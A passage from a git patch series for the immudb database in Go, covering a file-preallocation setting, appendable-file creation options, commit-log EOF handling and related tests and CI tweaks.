immudb.schema.NullableMilliseconds + 118, // 150: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 118, // 151: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 137, // 152: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 153: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 154: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 102, // 155: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 103, // 156: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 157: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 158: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 159: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 137, // 160: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 137, // 161: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 119, // 162: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 137, // 163: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 137, // 164: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 110, // 165: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 111, // 166: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 167: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 137, // 168: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 43, // 169: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 47, // 170: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 44, // 171: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 48, // 172: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 46, // 173: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 45, // 174: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 175: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 176: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 177: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 137, // 178: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 61, // 179: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 64, // 180: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 65, // 181: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 59, // 182: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 49, // 183: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 137, // 184: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 137, // 185: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 137, // 186: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 54, // 187: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 55, // 188: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 56, // 189: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 60, // 190: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 58, // 191: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 69, // 192: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 70, // 193: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 71, // 194: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 88, // 195: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 90, // 196: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 92, // 197: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 137, // 198: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 105, // 199: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 69, // 200: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 70, // 201: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 73, // 202: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 137, // 203: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 75, // 204: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 94, // 205: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 137, // 206: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 44, // 207: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 108, // 208: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 48, // 209: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 108, // 210: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 211: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 58, // 212: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 59, // 213: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 108, // 214: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 67, // 215: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 108, // 216: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 67, // 217: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest + 110, // 218: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 111, // 219: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 137, // 220: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 96, // 221: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 98, // 222: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 124, // 223: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 224: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 137, // 225: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 137, // 226: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 137, // 227: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 137, // 228: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 137, // 229: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 137, // 230: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 231: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 137, // 232: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 137, // 233: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 120, // 234: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 114, // 235: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 137, // 236: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 137, // 237: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 115, // 238: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 239: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 137, // 240: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 241: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 39, // 242: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 243: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 41, // 244: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 245: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 246: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 247: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 248: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 249: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 250: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 35, // 251: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 39, // 252: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 66, // 253: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 254: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 50, // 255: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 51, // 256: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 52, // 257: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 53, // 258: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 259: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 39, // 260: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 261: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 39, // 262: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 263: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 137, // 264: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 137, // 265: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 72, // 266: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 89, // 267: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 91, // 268: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 93, // 269: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 104, // 270: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 106, // 271: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 101, // 272: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 137, // 273: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 74, // 274: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 70, // 275: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 76, // 276: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 95, // 277: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 137, // 278: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 108, // 279: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 280: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 108, // 281: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 39, // 282: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 108, // 283: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 108, // 284: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 108, // 285: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 286: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 108, // 287: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 288: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 108, // 289: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 113, // 290: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 115, // 291: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 115, // 292: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 115, // 293: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 100, // 294: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 125, // 295: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 224, // [224:296] is the sub-list for method output_type + 152, // [152:224] is the sub-list for method input_type + 152, // [152:152] is the sub-list for extension type_name + 152, // [152:152] is the sub-list for extension extendee + 0, // [0:152] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index cebb95fbb0..034755c6e6 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1069,6 +1069,9 @@ message DatabaseNullableSettings { // If set to true, values are stored together with the transaction header (true by default) NullableBool embeddedValues = 30; + + // Enable file preallocation + NullableBool preallocFiles = 31; } message ReplicationNullableSettings { diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index eb975ecf2a..491b01c94f 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -65,6 +65,7 @@ func TestCreateDatabaseV2(t *testing.T) { MaxValueLen: &schema.NullableUint32{Value: 64}, MaxTxEntries: &schema.NullableUint32{Value: 100}, EmbeddedValues: &schema.NullableBool{Value: true}, + PreallocFiles: &schema.NullableBool{Value: true}, ExcludeCommitTime: &schema.NullableBool{Value: false}, MaxActiveTransactions: &schema.NullableUint32{Value: 30}, MvccReadSetLimit: &schema.NullableUint32{Value: 1_000}, @@ -116,6 +117,7 @@ func TestCreateDatabaseV2(t *testing.T) { require.Equal(t, dbNullableSettings.MaxValueLen.Value, res.Settings.MaxValueLen.Value) require.Equal(t, dbNullableSettings.MaxTxEntries.Value, res.Settings.MaxTxEntries.Value) require.Equal(t, dbNullableSettings.EmbeddedValues.Value, res.Settings.EmbeddedValues.Value) + require.Equal(t, dbNullableSettings.PreallocFiles.Value, res.Settings.PreallocFiles.Value) require.Equal(t, dbNullableSettings.ExcludeCommitTime.Value, res.Settings.ExcludeCommitTime.Value) require.Equal(t, dbNullableSettings.MaxActiveTransactions.Value, res.Settings.MaxActiveTransactions.Value) require.Equal(t, dbNullableSettings.MvccReadSetLimit.Value, res.Settings.MvccReadSetLimit.Value) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index f601de2fd7..c1b867a0f2 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -56,6 +56,7 @@ type dbOptions struct { // store options EmbeddedValues bool `json:"embeddedValues"` // permanent + PreallocFiles bool `json:"preallocFiles"` // permanent FileSize int `json:"fileSize"` // permanent MaxKeyLen int `json:"maxKeyLen"` // permanent MaxValueLen int `json:"maxValueLen"` // permanent @@ -141,6 +142,7 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { SyncFrequency: Milliseconds(store.DefaultSyncFrequency.Milliseconds()), EmbeddedValues: store.DefaultEmbeddedValues, + PreallocFiles: store.DefaultPreallocFiles, FileSize: DefaultStoreFileSize, MaxKeyLen: store.DefaultMaxKeyLen, MaxValueLen: DefaultMaxValueLen, @@ -172,6 +174,8 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { } if dbName == s.Options.systemAdminDBName || dbName == s.Options.defaultDBName { + dbOpts.PreallocFiles = dbName != s.Options.systemAdminDBName + repOpts := s.Options.ReplicationOptions dbOpts.Replica = repOpts != nil && repOpts.IsReplica @@ -266,13 +270,13 @@ func (opts *dbOptions) storeOptions() *store.Options { stOpts := store.DefaultOptions(). WithEmbeddedValues(opts.EmbeddedValues). + WithPreallocFiles(opts.PreallocFiles). WithSynced(opts.synced). WithSyncFrequency(time.Millisecond * time.Duration(opts.SyncFrequency)). WithFileSize(opts.FileSize). WithMaxKeyLen(opts.MaxKeyLen). WithMaxValueLen(opts.MaxValueLen). WithMaxTxEntries(opts.MaxTxEntries). - WithEmbeddedValues(opts.EmbeddedValues). WithWriteTxHeaderVersion(opts.WriteTxHeaderVersion). WithMaxActiveTransactions(opts.MaxActiveTransactions). WithMVCCReadSetLimit(opts.MVCCReadSetLimit). @@ -321,6 +325,7 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin MaxValueLen: &schema.NullableUint32{Value: uint32(opts.MaxValueLen)}, MaxTxEntries: &schema.NullableUint32{Value: uint32(opts.MaxTxEntries)}, EmbeddedValues: &schema.NullableBool{Value: opts.EmbeddedValues}, + PreallocFiles: &schema.NullableBool{Value: opts.PreallocFiles}, ExcludeCommitTime: &schema.NullableBool{Value: opts.ExcludeCommitTime}, @@ -442,6 +447,11 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul "embedded values", opts.Database) } + if settings.PreallocFiles != nil { + return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, + "prealloc files", opts.Database) + } + if settings.IndexSettings != nil && settings.IndexSettings.MaxNodeSize != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "max node size", opts.Database) } @@ -549,6 +559,10 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul opts.EmbeddedValues = settings.EmbeddedValues.Value } + if settings.PreallocFiles != nil { + opts.PreallocFiles = settings.PreallocFiles.Value + } + if settings.ExcludeCommitTime != nil { opts.ExcludeCommitTime = settings.ExcludeCommitTime.Value } @@ -897,6 +911,7 @@ func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { s.Logger.Infof("%s.MaxValueLen: %v", database, opts.MaxValueLen) s.Logger.Infof("%s.MaxTxEntries: %v", database, opts.MaxTxEntries) s.Logger.Infof("%s.EmbeddedValues: %v", database, opts.EmbeddedValues) + s.Logger.Infof("%s.PreallocFiles: %v", database, opts.PreallocFiles) s.Logger.Infof("%s.ExcludeCommitTime: %v", database, opts.ExcludeCommitTime) s.Logger.Infof("%s.MaxActiveTransactions: %v", database, opts.MaxActiveTransactions) s.Logger.Infof("%s.MVCCReadSetLimit: %v", database, opts.MVCCReadSetLimit) From f2078d90dcdd569c65afd2606195a134d4c71d79 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 9 Jun 2023 19:52:47 -0300 Subject: [PATCH 0609/1062] chore: wait for immudb to get initialized Signed-off-by: Jeronimo Irazabal chore: wait for immudb to get initialized Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 3bb58f75ef..07f47863d8 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -99,6 +99,7 @@ jobs: set -euxo pipefail ${IMMUCLIENT} || echo "Test #1 OK - immuclient failed to connect (no server started)" ${IMMUDB} -d + sleep 5 ${IMMUCLIENT} login --username immudb --password immudb || { echo "Test #2 Login (Default credentials) Failed"; exit 1; } echo -n "immudb" | ${IMMUCLIENT} login --username immudb || { echo "Test #3 Login (Default credentials from stdin) Failed"; exit 1; } ${IMMUCLIENT} safeset test3 githubaction || { echo "Test #4 Failed to safeset simple values"; exit 1; } From d7ff562aa3333f0ff76bc7a21372dbd3dc307b3a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Jun 2023 09:51:33 -0300 Subject: [PATCH 0610/1062] chore(embedded/appendable): automatic file creation only when appending Signed-off-by: Jeronimo Irazabal --- embedded/appendable/multiapp/multi_app.go | 26 ++++++++++++++++----- embedded/appendable/singleapp/options.go | 9 ++++++- embedded/appendable/singleapp/single_app.go | 2 +- 3 files changed, 29 insertions(+), 8 deletions(-) diff --git a/embedded/appendable/multiapp/multi_app.go b/embedded/appendable/multiapp/multi_app.go index 71ce5e3cc5..9ef1f2a084 100644 --- a/embedded/appendable/multiapp/multi_app.go +++ b/embedded/appendable/multiapp/multi_app.go @@ -343,7 +343,7 @@ func (mf *MultiFileAppendable) Append(bs []byte) (off int64, n int, err error) { } mf.currAppID++ - currApp, err := mf.openAppendable(appendableName(mf.currAppID, mf.fileExt), true) + currApp, err := mf.openAppendable(appendableName(mf.currAppID, mf.fileExt), true, true) if err != nil { return off, n, err } @@ -381,12 +381,13 @@ func (mf *MultiFileAppendable) Append(bs []byte) (off int64, n int, err error) { return } -func (mf *MultiFileAppendable) openAppendable(appname string, activeChunk bool) (appendable.Appendable, error) { +func (mf *MultiFileAppendable) openAppendable(appname string, createIfNotExists, activeChunk bool) (appendable.Appendable, error) { appendableOpts := singleapp.DefaultOptions(). WithReadOnly(mf.readOnly). WithRetryableSync(mf.retryableSync). WithAutoSync(mf.autoSync). WithFileMode(mf.fileMode). + WithCreateIfNotExists(createIfNotExists). WithReadBufferSize(mf.readBufferSize). WithCompressionFormat(mf.currApp.CompressionFormat()). WithCompresionLevel(mf.currApp.CompressionLevel()). @@ -466,8 +467,11 @@ func (mf *MultiFileAppendable) SetOffset(off int64) error { return err } - app, err := mf.openAppendable(appendableName(appID, mf.fileExt), true) + app, err := mf.openAppendable(appendableName(appID, mf.fileExt), false, true) if err != nil { + if os.IsNotExist(err) { + return io.EOF + } return err } @@ -550,7 +554,7 @@ func (mf *MultiFileAppendable) appendableFor(off int64) (appendable.Appendable, metricsCacheMiss.Inc() - app, err = mf.openAppendable(appendableName(appID, mf.fileExt), false) + app, err = mf.openAppendable(appendableName(appID, mf.fileExt), false, false) if err != nil { return nil, err } @@ -589,6 +593,11 @@ func (mf *MultiFileAppendable) ReadAt(bs []byte, off int64) (int, error) { app, err := mf.appendableFor(offr) if err != nil { metricsReadBytes.Add(float64(r)) + + if os.IsNotExist(err) { + return r, io.EOF + } + metricsReadErrors.Inc() return r, err } @@ -596,8 +605,13 @@ func (mf *MultiFileAppendable) ReadAt(bs []byte, off int64) (int, error) { rn, err := app.ReadAt(bs[r:], offr%int64(mf.fileSize)) r += rn - if errors.Is(err, io.EOF) && rn > 0 { - continue + if errors.Is(err, io.EOF) { + if rn > 0 { + continue + } + + metricsReadBytes.Add(float64(r)) + return r, err } if err != nil { diff --git a/embedded/appendable/singleapp/options.go b/embedded/appendable/singleapp/options.go index 7a0acabe06..ff70d90de3 100644 --- a/embedded/appendable/singleapp/options.go +++ b/embedded/appendable/singleapp/options.go @@ -42,7 +42,8 @@ type Options struct { compressionFormat int compressionLevel int - preallocSize int + preallocSize int + createIfNotExists bool metadata []byte } @@ -52,6 +53,7 @@ func DefaultOptions() *Options { readOnly: false, retryableSync: true, autoSync: true, + createIfNotExists: true, fileMode: DefaultFileMode, compressionFormat: DefaultCompressionFormat, compressionLevel: DefaultCompressionLevel, @@ -110,6 +112,11 @@ func (opts *Options) WithPreallocSize(preallocSize int) *Options { return opts } +func (opts *Options) WithCreateIfNotExists(createIfNotExists bool) *Options { + opts.createIfNotExists = createIfNotExists + return opts +} + func (opts *Options) GetCompressionFormat() int { return opts.compressionFormat } diff --git a/embedded/appendable/singleapp/single_app.go b/embedded/appendable/singleapp/single_app.go index 9671603056..3cb8bf37ed 100644 --- a/embedded/appendable/singleapp/single_app.go +++ b/embedded/appendable/singleapp/single_app.go @@ -97,7 +97,7 @@ func Open(fileName string, opts *Options) (*AppendableFile, error) { _, err = os.Stat(fileName) notExist := os.IsNotExist(err) - if err != nil && ((opts.readOnly && notExist) || !notExist) { + if err != nil && ((opts.readOnly && notExist) || (!opts.createIfNotExists && notExist) || !notExist) { return nil, err } From 03b8a20c1a1d746410024e65a3b130057fe8ea24 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Jun 2023 09:52:43 -0300 Subject: [PATCH 0611/1062] chore(embedded/store): clog file size adjustment only when preallocation is disabled Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index bdc5129911..91adad6ad3 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -389,12 +389,14 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("corrupted commit log: could not get size: %w", err) } - rem := cLogSize % int64(cLogEntrySize) - if rem > 0 { - cLogSize -= rem - err = cLog.SetOffset(cLogSize) - if err != nil { - return nil, fmt.Errorf("corrupted commit log: could not set offset: %w", err) + if !preallocFiles { + rem := cLogSize % int64(cLogEntrySize) + if rem > 0 { + cLogSize -= rem + err = cLog.SetOffset(cLogSize) + if err != nil { + return nil, fmt.Errorf("corrupted commit log: could not set offset: %w", err) + } } } From 14c1e2494d2bda76a1e76152fdc7497945a43809 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Jun 2023 12:38:01 -0300 Subject: [PATCH 0612/1062] chore(embedded/store): handle eof when reading last committed tx Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 2 +- pkg/database/database_test.go | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 91adad6ad3..e13d84192d 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -429,7 +429,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } _, err := cLog.ReadAt(b, (left-1)*int64(cLogEntrySize)) - if err != nil { + if err != nil && !errors.Is(err, io.EOF) { return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 798a446871..85dd2073d6 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2171,6 +2171,7 @@ func Test_database_truncate(t *testing.T) { options := DefaultOption().WithDBRootPath(t.TempDir()) options.storeOpts. WithEmbeddedValues(false). + WithPreallocFiles(false). WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)). WithFileSize(8). WithVLogCacheSize(0) From 8af84192a0eb3fddc4feb1ef1d21fd431323740e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Jun 2023 13:58:29 -0300 Subject: [PATCH 0613/1062] test(pkg/server): reduce storage requirements Signed-off-by: Jeronimo Irazabal --- pkg/server/server_test.go | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 972cf09e14..ef17f6bf97 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -462,10 +462,13 @@ func TestServerCreateMultipleDatabases(t *testing.T) { for i := 0; i < 64; i++ { dbname := fmt.Sprintf("db%d", i) - db := &schema.DatabaseSettings{ - DatabaseName: dbname, + dbSettings := &schema.DatabaseNullableSettings{ + PreallocFiles: &schema.NullableBool{Value: false}, } - _, err = s.CreateDatabaseWith(ctx, db) + _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ + Name: dbname, + Settings: dbSettings, + }) require.NoError(t, err) uR, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: dbname}) From 222f121fcfb49c28f865995ef5a1525fcc79e243 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 12 Jun 2023 09:12:55 -0300 Subject: [PATCH 0614/1062] chore(embedded/store): file preallocation not enabled by default Signed-off-by: Jeronimo Irazabal --- cmd/immuadmin/command/database.go | 2 +- embedded/store/options.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index a92c5816cb..698779ea2b 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -35,7 +35,7 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Bool("exclude-commit-time", false, "do not include server-side timestamps in commit checksums, useful when reproducibility is a desired feature") c.Flags().Bool("embedded-values", true, "store values in the tx header") - c.Flags().Bool("prealloc-files", true, "enable file preallocation") + c.Flags().Bool("prealloc-files", false, "enable file preallocation") c.Flags().Bool("replication-enabled", false, "set database as a replica") // deprecated, use replication-is-replica instead c.Flags().Bool("replication-is-replica", false, "set database as a replica") c.Flags().Bool("replication-sync-enabled", false, "enable synchronous replication") diff --git a/embedded/store/options.go b/embedded/store/options.go index bc84cc8fee..a4db446345 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -41,7 +41,7 @@ const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const 